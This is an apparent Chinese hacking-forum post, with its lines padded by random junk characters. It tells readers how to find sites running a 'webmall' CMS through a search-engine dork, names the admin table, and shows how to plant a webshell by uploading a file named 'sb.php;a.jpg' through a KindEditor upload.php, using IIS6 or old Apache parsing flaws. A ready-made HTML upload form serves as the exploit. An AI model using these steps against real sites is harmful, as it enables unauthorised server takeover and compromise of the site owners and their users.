关键字:inurl:webmall/detail.php?id, ]9 }& N' e& v# \5 P3 c q1 w# J/ F
$ d( V |8 g+ b# h$ w6 v. a1 h
数据表:pwn_base_admin. b1 O( [6 y1 M3 L# c
% Q( q" D$ S O% e关于拿shell
$ `( T. d2 W# I1 M U) [/ w
+ @' k+ ] l# c7 Z, N; ~2 j0 m首先登录后台admin.php
9 T7 r0 V, A/ Z L4 q5 s7 V ; K- Y4 T; T6 ]3 V, q! b4 f
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。" P$ J# X# ] K9 O! v5 b# I$ g* z
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg: K, P4 i( t4 Y6 H; b2 b" v( ^: b
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的
# o! w. D" U n7 p+ @1 i, [<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
% X$ C5 W" T& G0 X<input type="text" name="fileName" value="sb.php;a.jpg" />
0 ~7 N# i3 C1 o/ ]: r<input type="hidden" name="attachPath" value="news/pics/" />
# J: P# g! p7 i3 L5 x, C<input type="file" name="fileData" size="14" /></td>
5 e( ~2 E+ ?5 Q, S* u* D<input type="submit" name="button" value="确定" />
, x. ^ a' _. |& D( I# J</form>0 U6 }" {" [" h' U
( C6 ~0 B6 N: s5 c* C: k$ c2 U
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。' h4 k; j0 H) S
Z) a5 z F% c1 T4 T: ?% P6 ?
|